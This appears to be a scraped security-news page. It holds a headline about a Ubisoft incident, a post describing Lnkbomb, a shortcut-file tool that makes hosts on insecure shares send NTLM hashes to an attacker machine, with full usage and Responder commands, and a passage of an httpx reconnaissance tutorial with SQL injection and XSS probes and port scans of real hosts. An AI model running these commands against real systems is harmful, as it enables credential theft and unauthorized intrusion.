Hacking on Medium
Ubisoft confirma ‘incidente de seguridad cibernética’

https://cdn-images-1.medium.com/max/1626/0*XwSSJbTdQMqwlb-q
PUBLICADO EN 14 MARZO, 2022POR EHACKING

Continue reading on Medium »

KitPloit - PenTest Tools!
Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares

https://blogger.googleusercontent.com/img/a/AVvXsEiNbd2AhYksK-gxxbexlBEDIeiGIYfC3twQLGeGe3sP0BhYasNhaqYREfplVYsbL82-KSyTqIx6qP0H1vfKO572IqEiyUXUeBgy9VgTkopXLSl7TxcbKUg0l3U-Zg7O2nn5xYOlZOQIIZl34lQAHQSgkLS9OjY1XNOvsnkuSeUiPYmKmssQk0Hl75Lr=w640-h412
Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat.

The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload.
Python Usage

Installing Lnkbomb

Note that the project works consistently in Windows. It may have issues in Linux.

git clone https://github.com/dievus/lnkbomb.git

Change directories to lnkbomb and run:

python3 lnkbomb.py -h

This will output the help menu, which contains the following flags:

-h, --help - Lists the help options

-t, --target - Specifies the target file share (ex. -t \\192.168.1.1\Share)

-a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2)

-r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover)

Examples of full commands include:

python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2

python3 lnkbomb.py -r randomfilegenerated.recover

You will need to utilize a tool like Responder or smbserver to capture the NTLM hash.
responder -I eth0 -dwf -v

or

smbserver.py . . -smb2support

https://blogger.googleusercontent.com/img/a/AVvXsEif747DqS9POyDkPl7Ed5Oh1VOlX5XUxbIpBaKNu9y3EiikRgR_EmXfMJWaEDaJFNW8QIlkr5vLE90iPxXACiVhzInLk2PeeIHJmNTDEkjSnyYZZ_xwzYF-m5CPIX-EnV_GBMBiZp4Dh7wCXs8hJcgFU5eFDTMLlOBl1FCc1EebVznMJZtGe3cPo2gX=w640-h194

Executable Usage

Download Lnkbomb from the releases link on the right side of the page. All flags are the same as the Python version, with the exception of using lnkbomb.exe rather than python3 lnkbomb.py.

Notes

Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.
Download Lnkbomb

Lnkbomb - Malicious Shortcut Generator For Collecting NTLM Hashes From Insecure File Shares

Lnkbomb is used for uploading malicious shortcut files to insecure file shares. The vulnerability exists due to Windows looking for an icon file to associate with the shortcut file. This icon file can be directed to a penetration tester's machine running Responder or smbserver to gather NTLMv1 or NTLMv2 hashes (depending on configuration of the victim host machine). The tester can then attempt to crack those collected hashes offline with a tool like Hashcat. The payload file is uploaded directly to the insecure file specified by the tester in the command line. The tester includes their IP address as well, which is written into the payload. Python Usage Installing Lnkbomb Note that the project works consistently in Windows. It may have issues in Linux. git clone https://github.com/dievus/lnkbomb.git Change directories to lnkbomb and run: python3 lnkbomb.py -h This will output the help menu, which contains the following flags: -h, --help - Lists the help options -t, --target - Specifies the target file share (ex. -t \\192.168.1.1\Share) -a, --attacker - Specifies the tester's attack machine (ex. -a 192.168.1.2) -r, --recover - Used to remove the payload when testing is completed (ex. -r randomfilegenerated.recover) Examples of full commands include: python3 lnkbomb.py -t \\192.168.1.1\Share -a 192.168.1.2 python3 lnkbomb.py -r randomfilegenerated.recover You will need to utilize a tool like Responder or smbserver to capture the NTLM hash. responder -I eth0 -dwf -v or smbserver.py . . -smb2support Executable Usage Download Lnkbomb from the releases link on the right side of the page. All flags are the same as the Python version, with the exception of using lnkbomb.exe rather than python3 lnkbomb.py. Notes Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against. Download Lnkbomb
Read more...

Hacking Articles|Raj Chandel's Blog
A Detailed Guide on httpx

Introductionhttpx is a fast web application reconnaissance tool coded in go by www.projectidscovery.io. With a plethora of multiple modules effective in manipulating HTTP requests and filtering out responses, it is proving to be an effective tool in Bug Bounty Hunter’s arsenal. While tools like curl already exist that can perform almost all the features covered in this tool, httpx has its own place among the analysts because of its speed and ease of access. You can download the source code from here.<o:p Table of content<o:p· Installation of go version 1.17<o:p· Installation of httpx<o:p· Basic usage<o:p· Subdomain enum using subfinder and scanac<o:p· Content probes<o:p· Content comparers<o:p· Content filters<o:p· Rates and timeouts<o:p· Show responses and requests<o:p· Filtering for SQL injections<o:p· Filtering for XSS reflections<o:p· Web page fuzzing<o:p· File output<o:p· TCP/IP customizations<o:p· Post login<o:p· HTTP methods probe<o:p· Routing though proxy<o:p

· Conclusion<o:p Installation of go version 1.17<o:pInstallation and proper running of httpx tool depends on go version 1.17. You can download, extract, add go in environment variables as follows. I am using Kali on amd64 architecture. Please feel free to download the appropriate package for your system on go.dev/dl<o:p wget https://go.dev/dl/go1.17.8.linux-amd64.tar.gz<o:ptar -C /usr/local/ -xzf go1.17.8.linux-amd64.tar.gz<o:pPlease make sure that you add the following lines in ~/.zshrc file:<o:p #go variables<o:pexport GOPATH=/root/go-workspace<o:pexport GOROOT=/usr/local/go<o:pPATH=$PATH:$GOROOT/bin/:$GOPATH/bin<o:pAfter you have added the lines, zshrc file can be loaded with source command and then we’ll be ready to go. If all goes well, “go version” command will give version 1.17.8 as output.<o:p source ~/.zshrc<o:pgo version<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg9AlSPddp5OUP_eU8i-3YbkJlkZJQELrrftSGwMmXT5lYo3-YZMV3QCLPK8BG1PH6c3p6IKS-ra1HACHLrGFwdx56x2fCsJR6xbQzMQankB_t01kYJ7ZQLFGl5aBZWZ-dnDBQzF5Uw_2m37KQ62BmKRR8ZWVWOmq5nMQ0PiXeNjBUJ9BMrMiDMiblRfg=s16000 Installation of httpx<o:pInstallation of the tool is also possible by cloning the github repository and using makefile to compile but we have an easier alternate. We can use go install to do the same like:<o:p go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjxO12ZcCBpqMjShSZDpioqub4yeqXqeR6x1ecum7XOuXIsn4DX8DUM1PuFaOcO5DdM20TYt9I5LHkMAJqXbDyV3aDvj5d3wROMhdAYMjRlDtnT8VNQpaSznN7AFHdq-Q-rrRQi53ElM0B1xFL6Jap_wwA_H3Zmz_AZVCkHYT4AyWrhs3RYul_Y25CsHw=s16000 Once done, you can now run the tool. Help menu can be popped up to check the installation success<o:p httpx --help<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgQLt7Z5uf7fSqnkq2bX7Pp0sE8QNdVxj-uyi_ZHLji4PyrwM1LzY7c6aVhGQbH3C7ZZJo4hrJxKXr5C-lwlULWSsJ6dDZyjKFLhmyI5MEtZ8BmiGkIuwtp2F0-_JwJh6A6mJcGUlYPI85CNwPvfV4fGe9BFME4N2gTMS5oaRWNn6p1w-a1HdkPg6pWmA=s16000 Basic Usage<o:pHttpx tool accepts STDIN input for scanning. Here, we run a blank scan that only hits the server and does nothing and then the same scan with some basic options.<o:p

-title: displays the title of the webpage<o:p

-status-code: displays the response code. 200 being valid or OK status while 404 being the code for not found<o:p

-tech-detect: detects technology running behind the webpage<o:p

-follow-redirects: Enables following redirects and scans the follo[...]

wing page too<o:p echo "http://testphp.vulnweb.com" | httpx<o:pecho "http://testphp.vulnweb.com" | httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg75NMZ3dVd_eJ8SGIUvdw9JiHUZUm9IGz5xyH7owm4SDgMqiHocUXSqxL7Ph3fltfSYKxxb9Izqv_2m65W085tcXWZKrysSRJiDuBusKUKUzCQJABsBJSUEu54wnhneq0HHEQJLx2qZV_UEwgwlLd96Mj8DfRL16871RQwqeMkIiAxt3_sbL8xB-OqYw=s16000 The same can be run on a list of websites which can be fed to the tool using “-l” option<o:p httpx -l list -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh2PsDI6akzQXDF5CtJUaG8OSIRmlPsY3RjODmFEC5SEs-Yo-DWKCDpnPHZTDPFHoLf5iazUjPdquCR4FnL5NCkUtlm7WrLiHHjw5WvJf8qtD99Dx2XR4dQnQfesgj3h4RdzXMNki6XLiH15cZTu9x012t6EvDfhri5OzJtbKB432VaZoo3hFOWlaW58g=s16000 Subdomain enum using subfinder and scan<o:pSubfinder is another tool developed by projectdiscovery.io that enumerates and outputs subdomains. We can feed the STDOUT of subfinder to httpx and scan all the subdomains like so:<o:p subfinder -d vulnweb.com | httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhogbTv2cwBoMFX7WbSt8Jl4RpzIjPS4L92plBtV6RJo90N4qsFVHdMS3I5igzroL-UZv9yicPmggfl_deW9HbbX8t1ZMpQlj8EZs5DBipeiSbCnkrq1UKD0h3WoyfAymxdZWePYPUl-dIU5N0VcVHKrTd_n-HeOLBJGDevQsTwMaYuHEkhWRRoI4NNfQ=s16000 Content probe<o:pThere are various modules that can refine how a response is rendered which is called a “probe.” These help us refine scan results. For example,<o:p

-sc: show HTTP response status code<o:p

-path: a specified path to check if it exists or not <o:p httpx -l list -path /robots.txt -sc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhBz-txjviQHX-e11ncrjLMjXu_6wsHxWKnHcmp2IAV0QR3ug59B-_qaBzeOXGgqaVYFu9eVgSV8CzlRuZvSD7LyvGWs1Cr0WfaQHm5uVj4l094Z60oRFwAbUObKdIClePcYd8W3NICnU5nQ70cAycTC2LEbFd1gNK3pLlINKpi_Y8rlIZ3X7pGNOhp9A=s16000 httpx could be run using docker as well. Here, we feed a list of all subdomains as STDIN to httpx:<o:p cat list | docker run -i projectdiscovery/httpx -title -status-code -tech-detect -follow-redirects<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh-XPURpyC8xXqFxGg6UNnCrbXqElwXFtX-HXOpZxI2UB6EVdnfHgn9US0hYrZm-5guT6palhNmVjBPdHrS1IhYCj944dU8sJtATPHGyRkmlbcNl9qzWZ1_A6Z2YELYe67jgsHnQLEgIhG8PEEfilgff5NtQ_zAZLddk-vnJFJZifl52Zig2U84_XPB6w=s16000 There are various other probes that help us render better outputs<o:p

-location: website where redirected. Here, observe how http becomes https<o:p

-cl: displays the content length of resulting web page<o:p

-ct: content type of the resulting web page. Mostly HTML<o:p echo "http://google.co.in" | httpx -sc -cl -ct -location<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjX5m-5IIDpQnK4vh-zXDF45KHcr4IiYFHI2i76Ah3dRAfEv6Gb_0St-7D0Af4bZFXRyedM7hLMDQQKxKQmuHTCCJq-IqCQFEgA63WEStdYZjDE6dtWZrv08GQj4C8J3SL0iocbswolJsk29HueFFhPRGzQ6N2n_4hPohWMmwS5Dx31oKDAlQqaG6CvOQ=s16000 Some probes that are helpful for analysts and in-depth analysis<o:p

-favicon: fetches mmh3 hash of /favicon.ico file<o:p

-rt: shows the response time<o:p

-server: displays the server version and build<o:p

-hash: shows the webpage's content's hash<o:p echo "http://testphp.vulnweb.com" | httpx -favicon -rt -server -hash sha256<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjZ4_gZGM2YiSWLLFpMnFBgEfInyjEY2zhP4IQD55ehgblIDr4ET8ESNpzkJO11T9YAgGE48kNl2kxWQ7timGaA78TfdTi0b5IdpaP7SVejfCeGLfUSIjuBBriMUGon-AdXArmd-lgZorhdMyocgJoeKjT3m4e6NS7rU6AQkwTlUZyE6PJ5Hor3qXytOQ=s16000 -probe: displays the status of a single scan (success/failed)<o:p

-ip: displays the IP of the webserver<o:p

-cdn: displays the CDN/WAF if present<o:p echo "https://shodan.io" | httpx -probe -ip -cdn<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgiy_dzmg2AKJXJcH[...]

BU-Ekct5tgcJNK51hU_eFMGSS4ZBnKFN057ZH_OSRzzG33V3Ey9cD7c96PwT-RKxbxigPeZBUDIOfjQQs6T0jBIVw1LYRsVwUYTKp6RzedqW51iJghenxQ3f87B4AL0r_tSdH_s7swP7ybRGzbDJjnQhZ29NxUHbQhRcWm_UXc-A=s16000 -lc: displays the line count of scanned web page<o:p

-wc: displays the word count of scanned web page<o:p echo "http://testphp.vulnweb.com" | httpx -lc -wc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhoXJxtpYiFzctnrh8CeC9zXCVI-QeDlh7mFcnLVhH2Y0vyytWc1oM-pxr1zOThqxXDJGBhJ-pxCC72WdJBphE3wTaignfE0LPrrzMY-2SOAd1jjwBt7zYnq1V5nyxV_bzBzHy-NUW8jerWVOh45sbV5dJDN4I-Vn3xWeyW4dAuQJjGr5a4qhednPPx7Q=s16000 Content comparers<o:pThere are various comparers available in the tool that help us shortlist down an output. These are very helpful to trim down a list of unexpected output. For example,<o:p

-mc: matches the HTTP response code with the codes supplied in the list<o:p cat list | httpx -mc 200,301,302 -sc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiAEZYYStgLEMFENS2zsdDYkhkjksXUTef_8TtiasZDc5CSrBU9mFkmOPSfUqWWc2jzDGzWDpjc7hP8Vkp8fzLHFA7cxpmSOnvAUt2yYJa74ZMcXkRu-s7bFUJbB8JMd-zuZlUvd1sqtAAdFt8vQAu_nmCdDsXvF5rtfjQmMzdShc8XpGADuUArifd8RA=s16000 -mlc: matches the line count with input provided<o:p cat list | httpx -mlc 110 -lc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhDFuXjn7TUOgMZrzkClN2bus5cveZxdHxq-D8bA3tBcqks7d7LUxCONWgf_iT3HPRla9nvGYtjwGPvqNk5y8F1VxfFPMAHDnJmBbjk9bwP1S0uAJczXWUJnyTkfSllBXzpCHvjySb36llAyyc1MvznQ4WYmikEmA26LKb8vf18TIp_l2fI3NJrmYLnWw=s16000 -cl: displays the content length of a webpage<o:p

-ml: matches the content length with the input provided and displays only the results matching the content length<o:p cat list | httpx -ml 3563 -cl<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhSR_kOwZcqSWfOZ82H4VlEJ1G5-LixVZzOYtYEpC310ydx2bmVwrA3MCGTP-BN4UBbHG5X1A4-4bYu1E6rLML1i2H4zwNQl_NeIPxYMvFJHfjwhq-AOr6qfqYnqMVg1WDsgvF4_e9dUoUPPsesYV72gMnxaZLiZ3oMnNwOnLTEIFZxj1RNXhomckpeyw=s16000 -mwc: matches the word count and displays only the results with same word count<o:p cat list | httpx -mwc 580 -wc<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiUGGTLTtQTIcfsIANfEkAk7gN_DSbc7vUCQjg1wVsFAKzsJ_1D_1MBlrO48hNF1EtiaeBQb_PwHJjZf4nT78sf8DWSuFOyMhCJDmcuw76_H94XYbQehlFDAHtJDD5Pfn_UDdPMVtcBff7SjyLRNgvsE45GzjktYdVsFdX8iNuxTtxeuvYYrztNEtH4Hw=s16000 -ms: displays only the results where text on a page matches the provided string. Here, pages with “login” in their text are loaded<o:p cat list | httpx -ms "login"<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEj97pwpigLNnt3kDhKKp7nZnNdZ_Bd3-SCYMDgJmFcKeeUOmf7fZfe928WCCiCFhWDC_gY3S9oTzz6PMmza05PYCee5rX862gE0TyzaD3x3l3GQoMfGUzSP9HKtQs8ZoXQ4E9HufEzJsDMrQzcRk85SCkA7dZGOHEH29AmkctIRN2Hr-AhGapELgCKaWQ=s16000 -er: extract regular expressions. Displays only the results where resulting pages match the regex pattern provided. An example regex is \w which compares the provided string with the resulting page’s output.<o:p echo "http://testphp.vulnweb.com" | httpx -er "\w test"<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEggV7SxthocXjWoEhSGAQ6VuUqA8D5WlSLQCq46MZ9zHiHjx1gtoN5AZpjTo-ak7sQ2DDQv4qWK11WDB93iqshrtLKb3zFY9nShvLVWhMV13CRHeKPkseSaKJUKvrks3gHRuhKs4Sewv6unu9Dm80o3-C5vwl9xf3eTeSP0nziOgSD_XMkV8p8yElnWQQ=s16000 Here, you can see the output stands like u test, o test. The tool has filtered the following text and displayed in output:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjgu0WAIPzvIZAw7-WoCQLGbEpUPglE4iMQPL6QslgEF2_6oGrOp_1fbCScQAc3ttylpWQriA8oL5gLpAlbDiXmJ-ZR0Pu_mIGQdDqU6TsKcqY693VEsm4G2Dl7gEMeOi5GMpdcoQrpUTkaGmhcwo3oidTjt-WRX34RCLEUp2QibQGjv8qbJ3hnOqZlag=s16000 Content filters<o:pVarious filters are available at disposal in the tool that eliminates the results upon matching the criteria/condition provided. For example,<o:p

-fc: filters code. Tool only displays status codes not listed by fc (404 here so only 200 is visible)&l[...]

t;o:p cat list | httpx -sc<o:pcat list | httpx -sc -fc 404<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhuiFqokWVCnPiYTu3U0W29vl5t2s15ICqn8GCZERknvk5CPePhRV58vzot-2jTMD9Ybpt8c6O1Hej6aU5zVC6yclwQPCVtDLnbfvtVzx7lCRBQj_ADi8hsK2UUH_mXd-LvBxYgkQGxw4xkKbePMm5mrPsYedptqF6RckjclBi150IASOjqawriSEdeng=s16000 -fl: filters content length. Here, 16 and 12401 is filtered so all the output except these two are visible<o:p cat list | httpx -cl -fl 16,12401<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEih9BMUuXOhzJrCoFFa0MMWplbDHzpqt_84dy4W4aCVMlrWoGDczG6NLes1P1sBqpPfbsEpJHHeUMBWD_hR9l8Uk912FyKBnZoTV35eK4PH4-ryN3aijGshgxCxkDh3ZYSnPcLcA4kwxtO3AAzLkp_NJ5tFl2U0N3CIXMJwVMmo-7Wl8OMAf9tFnS8f-w=s16000 -fwc: filters the word count. Here, 3 and 580 is filtered so all the output except these two are visible<o:p cat list | httpx -wc -fwc 3,580<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgy2FOoxte3XNKFtNiDFFU8NVtVx9iRwxFNFupJ_YeqcJon1LMaCsxmbNU9HE0c8A4pSxaOW8Ge7xxjoOoy66-taMX_IKn-S8BtoRfkw5BrBL3sZbYodPEH4durITeoVvt_UvRPLEYs3bhZx9DFVyhUF95qkbr_tJy9SA8JolkWnG1DAuW_74hlGyltAA=s16000 -flc: filter line count. Here, 2 and 89 is filtered so all the output except these two are visible<o:p cat list | httpx -lc -flc 2,89<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiqDNezwvf_adtN4LyoVa6J2Z_jHDGFjhN4bswa6-P9VkGN6YlYkO4utdj9KahtPHwzcATHxorSZapOUmChDqe64nI0QMBUUN6HwmIePq-52NKjCCbbfNSD692e9tRrpy7DxO_KWDxTYv5BlaHqku4SW2Mn6XHr8C2LPp7yqZYgF8y-UGNJcgjirkWExg=s16000 -fs: filter the output with the provided string. Here, “test” is provided, so webpages not containing the string “test” is displayed. This string must only be in the text on web page.<o:p cat list | httpx -fs test<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhJqz_5zPOIFn6lygNP2lwBvI44t9QCMUGZ0B2vsrZ79Xlk--NhYQraGMFyiQ3If_9_q6wkTfv6DiYwbGZWoj37Fsk1EgDgQGqZbebaijF8grcoK8uJRUA-9otYN9uYHEYrpGeT23NDGAOjyBcwupOm9ICLpbvCqD_YfvqPBp1pcwzuMgOFe6IMuEP0zQ=s16000 -ffc: favicon filter. Only the output with favicons that are not “-215994923” are displayed.<o:p cat list | httpx -favicon -ffc -215994923<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgBonM7jOl_tDlKHTViJdsc8wr4tmitSIQVpyUFdrqLcWTES00NrrKuSQOFNHEj2RKZJd_km-obcTVr0o9Vx4JmwkmAfSRN65c2IQNuNdYjPbA1HuQqZDaaj9r6veyvZzjxFLy5pSHGazkhKibdYwz_N1BbDlrMOmWEcWx3fbbod2kvWIEsthLOsOJ-Hg=s16000 Rates and Timeouts<o:pThere are various modules that lets a user play around with the rate of scan and throttle the speed of the same. Some of these options are:<o:p

-t: specify the number of threads used for scan. Can be as high as 150. Default 50.<o:p

-rl: specifies the rate limit in requests per second<o:p

-rlm: specifies the rate limit in requests per minute<o:p cat list | httpx -sc -probe -t 10 -rl 1 -rlm 600<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhjJQ68aqHALxLer1B3W19CHa5ZC7Y1q3_rMOJOv21T2ZyHytNzPGdRgARhzFqiC6nw9nqpfGgYbyUoc3KdVj7DWRVdg-vcCnAgwRlneXG69V9HOvmCG_ndaZmP7NkBkQzzCpkPS6MTkYAYBvGqXlqhBWoOXkhedPk9qiQHaif_oOz2XSONXqOjOGgsug=s16000 -timeout: To abort the scan in specified seconds<o:p

-retries: Number of retries before aborting the scan<o:p cat list | httpx -sc -probe -threads 50 -timeout 60 -retries 5<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhUM3UxpMU4hMxayxYKcnLrdyyUZASZsQU1gfqJyx5c1vQf46LHdcDxG8qv6yU316nR3yrQxA7whGOeyhKO5ONYcnT0ia-2i8hM61Y7A4gvw7FXXKhVTpDxHfe-GAytA7aZN8xY6JDpUkgbT3MaBhQI5g6nTPAFlOaEDoxg-C1riucyg8eFNw0Xe4AQMg=s16000 Show Responses and Requests<o:pHttpx crafts and sends out http requests in real time and then post processes the results. These requests and corresponding responses can be viewed as well. For example,<o:p

-debug: it shows request and response to a webpage in CLI<o:p echo “http://testphp.vulnweb.com” | httpx -debug<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhCGEvpG_qThOHAnTf1Df2IqKC2Mxcc6m[...]

dCIpwpFt_99unLTXkQETb65Is786ADWIb6mj0delHprSvdsj6ppzgyG9lz_VaLj1dIcqC2JwzwBtxR6EhYNn0GOFwUtBHckN5XcxRb0NwLlBL8Jz5aDaMy_IN1YPUic9lfgBy7MfXoKBjgoF7rRk5eZsd_IQ=s16000 -debug-req: Displays the outgoing HTTP request<o:p

-debug-resp: Displays the corresponding HTTP response<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgwFPwm2Cye9r3CwN-ijP8qjTYzPL4M-fISRnlTys9IxDXXrotJlRDWWhxzg7o9SwffHKciGHlI3iyIdFtRZu8-6BAKkFlRkHZEWdjBA4l3jZKBgGwIGbzie73nUUmjdXVYcYJ7JdSiHhsLpsSCDjkq_mmw388x3V_R9n0M6N37Zcj0TQlu8b0CvWrvUw=s16000 -stats: displays the current scan stats including completion percentage<o:p cat list | httpx -stats<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiCmkBdmNuiXfKRO-3mW-5dP_MffgfcdP9hIsxqoX4cgJ7ocKrPvjt8MaypzIPE0-nh8TP844h-ftiOdV8yh1_OccYKntVJJF6qoHzMAyYCGSy_rDbyEXYu5iU1Ka8iZmFxPQ-fUGrKZML35NYCuaYGV05Wwam7vsi5Bh-vaVT-siCRb1bxjguBpLYW_Q=s16000 Filtering for SQL Injections<o:pAs we know that some types of SQL injections are reflected in the code output. We can detect such injections by filtering the output of a web page. In error based SQLi, an error is thrown which is reflected in the output page. As you can see in the command below we have used -ms filter to compare and find such pages. Ideally, an attacker can give a list of input and find common SQLi vulnerabilities in the similar way. In the output below, where the vuln is found, httpx displays that website’s name.<o:p echo “http://testphp.vulnweb.com” | httpx -path “/listproducts.php?cat=1’” -ms “Error: You have an error in your SQL syntax;”<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhAu9RTErg8tosLtBEdTr_GazHPR2pQWI70rlwTCm-PHiUw4sUr5XZs8sZuhegnoxHLeXqjUC6AmMtkV1ZdcX6IsSjUjJTqFQov0m21tAsNrUlhF__PhMxTGFDgHGO_LUYKDc3vaQKGE57GHRPpPxkO-JhCyq_FnYJQgncOrAF0yyqYgTn7ZQBPqaqwYg=s16000 Filtering for XSS reflections<o:pReflected XSS by definition gets reflected in the web page’s output. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEjUSBjJcN33oq2ekAdJkMtRcMCUGBk_CRED_fIrLj7ka-g3dV0DyPdvKr9lW39sPdJ82NvIqwC94Es-BHnu0agzgYgbHegLy0o8DADavyo9matoST36ZTdTkQ7pmQxA4dCqJb40UCHIiyplngelIAtf0oSw-x_4PlafvFM9g5acGR3xdVw03B_APK__pg=s16000 An attacker can input a list of websites and then a list of path to check for reflected XSS in bunches. In the example below, “-ms” module is used which is supposed to match the output webpage’s text content with the input provided. Since reflected XSS is shown in output, tool displays the name of the webpage where this vulnerability (payload output in the code) is observed.<o:p echo "http://testphp.vulnweb.com" | httpx -path "/listproducts.php?cat=" -ms ""<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEg0SATrZaFiM5GJXKVT7W6_cRC9cwlTFUlqLoiznGO587GPps-BmRLWdoryW8_wIIxd5Utqw61-ojOtRRiWex977abgeewSDnFby0xyctmnaRly6aS1OkKxCTvA_L8K94xVZODz0mIQgwjRIwf0L2Mn5009GXbBwgYXoQVMNpDErwhikPUBOGKstdkYHA=s16000 Web Page Fuzzing<o:pHttpx is a great tool which can be used to fuzz web pages. “-path” module can be used to provide the name of the file to be fuzzed for existence on the server.<o:p

-path: path/list of paths to probe<o:p echo “http://testphp.vulnweb.com” | httpx -probe -sc -path “/login.php”<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh46SKO1qFjbjumDukvGLqeQ_Uv2DYcig36OnG6ErQCDRNgyFNwdYudjn-9T8AD7jTjlsGH1mQameb8dgnaPDaU9uUFAc-eVP97fV9qyKs2QKuaWiaG0hr6qC2zdZ4iKokHzGW-H6ml_jYvZDevILYHG4WjORJs91bLPOMoPiJAVDkikXRcbis1QxkhOw=s16000 File output<o:pThe scan results provided by the tool can also be exported for convenience. The most basic output is a text file with just webpages in every line. This can be useful for a variety of occasions while pentesting. Such modules are:<o:p

-o: Saves a result in a text output file<o:p cat list | httpx -sc -o /root/results.txt<o:pcat results.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhYlMet5wQkj1NKhxsCoGoGKpEwo6UY7f5Sh1SrBFef_Pvuye8-rzL[...]

IHcyPCqnosZSFc-MmTRUUS7kmYvimsyjyETsUgOANDQ190b8jnHuBZ0QK3b1L7ddAxjsrqji_vinEnBrXXm2_Zu9w2kga_peO4CfDOymiu3DaEFQhSscSdsjqOgCbHXSb5Qy4iA=s16000 The same results can be saved in other formats too. Like,<o:p

-csv: Stores the scan results in CSV format. Default scan includes almost all of the content probes.<o:p cat list | httpx -sc -csv -o /root/results.csv<o:pcat results.csv<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhRhIkcza7HMa4gOb5lQlmNplkIvp53BX2yHx5BBGgat8zXSf-bDKl5J7UWeptJXv5anfwgHZmwmFEH3BOIsWxeXddtjaLLUaw2ityaYmU2NPZQF3AfNEykLv9jHkV7zKGmW38P1J7FyCQbX7h0z0LbASN300FFoSaZo_HXHhMfpv4D8Yt2eIBGT5FoFQ=s16000 -json: Stores the scan results in json format. Default scan includes almost all the content probes<o:p cat list | httpx -sc -json -o /root/results.json<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhMoED5fGV0xKP9VQUi5K5eUWrQZ2JKGsZd3YZ1tqjr4RmGT4ogcepIZ3cx0YH-ZGOvKcjZ4BcuRp6pq4YtLJMzA00H0h0-egVcZpvwphsqfI2X5nlkvmB7vRUD2xliL38cMkuIpQwnj7974A3lnHl4u3VNtaZrCHLvKHyj9nDTqKLHHM9drcJcoAhirg=s16000 -srd: stores corresponding HTTP responses in custom directory with naming: “URL.txt”<o:p cat list | httpx -sc -o /root/results.txt -srd /root/responses<o:pcat /root/responses/rest.vulnweb.com.txt<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjC5DI04Er_J5Ie4ouhW0YGJRzvGVzMCqGSDE5xM3iR9-jNWcIUSoJlImg823gTiTWjT5ih8NJpSGPN9svTQXQA2_IqvVDwFs-FzVRl54r_ZBg326lpi3f14i6vpTb0m-ipDw3ia-SCDXCQ37TzhKb8DIz8VZviHSy1F-6JfcY6-5b0xQJXHAcYR3eUig=s16000 TCP/IP customizations<o:pSome filters are available to conduct an in-depth reconnaissance. These filters are extremely helpful in cases where an attacker needs to conduct basic network level reconnaissance too.<o:p

-pa: probes all IPs associated with the same host provided. Often same website is utilizing multiple IP addresses for different purposes.<o:p echo "http://hackerone.com" | httpx -pa -probehttps://blogger.googleusercontent.com/img/a/AVvXsEhB0xiJhzUfUbMGxUXwPOP320YUW-Od1LPGOIHtQ403Fm2zG8WWiP5M4_HTIBmxQ0iwHaFzJB2h96Qorswq4X8WFDIUweAVLVNsbe3tw0WmPL4XNKubFNbe1mOcXYPbENJm7uhFZ19AgKSWeTqR0axUpqYjMicJ6fWJwhTdfH0Ur9RSAaxHggbwlZD7Ng=s16000 -p: scans the specified ports either as a list (in the format 80,443) or by providing absolute range (format 1-1023)<o:p echo "http://hackerone.com" | httpx -p 22,25,80,443,3306 -probe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhOyFXdlocLJBO2tH74-UXFvf6K9y4yEm9gi74t9Tr2XYdBWKLzzWjfDvnW4mZuorvl9s4rROmZ62FhJZGqNp8aOxPOvVpJZ6TQx91kAD7bjaVyyv_4jB3PahMFZl3BZX3xKivYX0j1tLJkz8nIW5i5nxNsb--jDM2KC9V3Nh-f7hL8S8J_iGgtC8A9xg=s16000 POST Login<o:pHttpx can also be used to send POST requests. It can also be used to log into a page and read responses. For example, the page /userinfo.php is alogin portal and can be logged in with credentials test:test. The corresponding request in burp suite looks like<o:p 